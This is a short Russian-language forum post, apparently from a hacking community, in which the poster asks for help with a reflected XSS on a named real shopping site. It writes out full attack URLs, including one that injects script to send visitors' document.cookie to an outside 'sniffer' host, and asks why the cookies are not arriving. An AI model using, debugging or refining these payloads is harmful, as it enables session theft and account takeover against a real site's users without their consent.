Допустим есть пассив xss, юзаю снифф каника
http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Ealert('hacked%20by%2 0VITAL')%3C/script%3E&url=http://vital.h.com.ua

заменяю на
http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Edocument.location.hr ef='http://xxx.ru/s.gif?'+document.cookie%3C/script%3E&url=http://vital.h.com.ua не перенапрявляет на снифф=>кукисы не шлются
обрабатывается тока
http://www.blizko.ru/goodlist?q=1%22%3E%3Cscript%3Edocument.location.hr ef='http://xxx.ru/s.gif'%3C/script%3E&url=http://vital.h.com.ua
Пробовал с разными xss
Не пинать)))